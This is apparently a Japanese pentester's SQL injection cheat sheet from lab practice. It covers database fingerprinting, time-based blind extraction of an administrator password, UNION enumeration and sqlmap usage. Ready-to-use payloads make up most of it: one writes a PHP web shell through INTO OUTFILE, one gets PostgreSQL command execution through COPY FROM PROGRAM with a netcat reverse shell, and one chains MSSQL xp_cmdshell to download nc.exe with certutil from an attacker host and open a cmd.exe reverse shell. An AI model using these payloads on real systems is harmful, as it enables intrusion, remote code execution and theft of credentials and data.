sqli

SQLi
データベースの種類とバージョンの識別方法
プロバイダ固有のクエリを挿入することで、データベースの種類とバージョンの両方を特定できる可能性があります。
以下は、一般的なデータベースの種類について、データベースのバージョンを確認するためのクエリ
Database type | Query |
---|---|
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
mysqlでないと、selectの際にダブルクォートを使用できないことに注意
詳しくはこちら
time based
time basedを使ってもバージョン判定できる。
Time delays
クエリ処理時にデータベースに時間遅延を発生させることができます。以下の例では、無条件に10秒の遅延が発生します。
す。
Database type | Query |
---|---|
Oracle | dbms_pipe.receive_message(('a'),10) |
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT SLEEP(10) |
Conditional time delays
単一のブール条件をテストし、条件が true の場合に時間遅延をトリガーできます。
Database type | Query |
---|---|
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |
Microsoft SQL Serverの例
以下のコードを使用して条件をテストし、式が真かどうかに応じて遅延を発生させることができます。
最初の入力は条件 1=2 が偽であるため、遅延をトリガーしません。
2 番目の入力は条件 1=1 が真であるため、10 秒の遅延をトリガーします。
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
この手法を使用すると、一度に 1 文字ずつテストしてデータを取得できます。
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
これだと10秒かかるが
TextBox=test';+if(1=1)+waitfor+delay+'0:0:10'--+//
下記だと時間がかからなかった。
TextBox=test';+if(1=2)+waitfor+delay+'0:0:10'--+//
microsoftだということが分かった。
union orderby
orderbyを試してみる。
list=aaaa'+order+by+1--+//
数字が変わる前のものがカラム数
unionを試してみる。
list=aaaa%40aaaa'+union+select+null,null,null,null,null,null--+//
一つだけ、違うlengthになる。
カラム数が分かったら、数字と文字をためして型を理解する。
list=aaaa'+union+select+"aaa","bbb","ccc","ddd","eee","fff"--+//
型が分かったらどこが折り返るか確認する。
折り返る場所でデータを抽出する。
list=aaaa'+union+select+"aaa","bbb","ccc","ddd",@@version,"fff"--+//
web shell(mysql)
sqlを使用して、webshellをアップロードしてみる。
list=aaaa'+union+select+"<?php system($_GET['cmd']);?>",null,null,null,null,null+into+outfile+"/var/www/html/kk.php"--+//
書き込む先の候補
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
postgresのRCE
脆弱性ではないと主張しているCVE-2019-9193を使用する。
+をurlencodeしたら動かないことに注意
&が入っていると、パラメータの区切りとして解釈されることに注意
全部、エンコードしても、一部分だけ+とかでしても動いた。
例1
';DROP TABLE IF EXISTS shell;CREATE TABLE shell(output text);COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.167 4444 >/tmp/f';-- //
%27%3BDROP%20TABLE%20IF%20EXISTS%20shell%3BCREATE%20TABLE%20shell%28output%20text%29%3BCOPY%20shell%20FROM%20PROGRAM%20%27rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%20192%2E168%2E45%2E167%204444%20%3E%2Ftmp%2Ff%27%3B%2D%2D%20%2F%2F
例2
height=';DROP TABLE IF EXISTS commandexec;CREATE TABLE commandexec(data text);COPY commandexec FROM PROGRAM '/usr/bin/nc.traditional -e /bin/sh Kali_IP 443';--&age=24
weight=89&height='%3bDROP+TABLE+IF+EXISTS+commandexec%3bCREATE+TABLE+commandexec(data+text)%3bCOPY+commandexec+FROM+PROGRAM+'/usr/bin/nc.traditional+-e+/bin/sh+Kali_IP+443'%3b--&age=24
nc.traditionalとは
Microsoft SQL ServerのRCE
xp_cmdshell関数が使用できないか考える。
xp_cmdshell関数を利用できるように、show advanced optionを1にする。
SQL> EXECUTE sp_configure 'show advanced options', 1;
後、xp_cmdshellを1にする。
SQL> EXECUTE sp_configure 'xp_cmdshell', 1;
最後設定を即時変更するために下記を打つ。
SQL> RECONFIGURE;
実際のクエリとして組み立てる
TextBox=test'; EXECUTE sp_configure 'show advanced options', 1;EXECUTE sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXECUTE xp_cmdshell 'certutil -urlcache -f http://192.168.45.167:4444/nc.exe C:\windows\temp\nc.exe';EXECUTE xp_cmdshell 'C:\windows\temp\nc.exe 192.168.45.167 8888 -e cmd.exe';--+//
TextBox=test';EXECUTE+sp_configure+'show+advanced+options',1;EXECUTE+sp_configure+'xp_cmdshell',1;RECONFIGURE;EXECUTE+xp_cmdshell+'certutil+-urlcache+-f+http://192.168.45.167:4444/nc.exe+C:\windows\temp\nc.exe';EXECUTE+xp_cmdshell+'C:\windows\temp\nc.exe+192.168.45.167+8888+-e+cmd.exe';--+//
nc.exeはここにあった。
┌──(kali㉿kali)-[~]
└─$ find / -name "nc.exe" 2>/dev/null
/usr/share/windows-resources/binaries/nc.exe
コメントアウト
You can use comments to truncate a query and remove the portion of the original query that follows your input.
Oracle | --comment |
---|---|
Microsoft | --comment /*comment*/ |
PostgreSQL | --comment /*comment*/ |
MySQL |
#comment -- comment [Note the space after the double dash] /*comment*/
|
-- //
--+//
が万能に見える。
sqlmap
-u 攻撃対象のURL
-p 攻撃対象のパラメータ名
--dbms データベースの種類(指定したDBの攻撃値のみに絞って挿入)
--dump テーブル情報を取得
--dump-all 全てのテーブル情報を取得
-r <ファイル名> HTTPリクエストデータを指定して実行する
--os-shell シェルの取得
--risk 攻撃値の網羅性レベル。1〜3の範囲で指定する。
1:基本的な攻撃値のみ(デフォルトの設定)
2:time-based SQL injectionの攻撃値も試す。
3:OR-based SQL injectionの攻撃値も試す
--level 検査対象となるパラメータの範囲。1〜5の範囲で指定する。
1:基本的なパラメータを検査(デフォルトの設定)
2:Cookieのパラメータも検査対象にする。
3:「User-Agent」ヘッダや「Referer」ヘッダも検査対象にする
--proxy プロキシの設定
--delay 各リクエスト間で遅延させる時間(秒)
「-p」で攻撃値挿入対象のパラメータを「id」のみに絞る
「--cookie」でCookieを設定
「--dbms」でデータベースの種類が「MySQL」と分かっている時、絞る
「--proxy」でプロキシを設定する。
sqlmap -u "https://localhost/?id=1&opt=test" -p "id" --cookie="PHPSESSID=xxxxx" --dbms=mysql --proxy=http://127.0.0.1:8080
「--os-shell」でSQLインジェクションを応用し、Shellまで取得する。
sqlmap -u "https://localhost/debug.php?id=1" --os-shell
検査対象がPOSTメソッドの場合、「--data」でリクエストのボディの値を指定する。
sqlmap -u "https://localhost/login" --data "id=admin&password=pass123"
「-r」でHTTPリクエストデータを指定して実行する。
BurpSuiteにて対象の通信で「Save item」を選択し、ファイル名「reqest.txt」でローカルへ保存後に以下のコマンドで指定する。
sqlmap -r request.txt
値の中に「」を挿入し、「」の部分に検査値を挿入する
sqlmap -u 'https://localhost' --sql-query="select user_login,user_pass from users" --cookie="test=[\"123')) OR 1=2 *#\"];"
kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user
ユーザー認証情報を含むデータベース全体をダンプするには、-dumpパラメーター付ける
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump
URLは、""でくくったほうがいいかも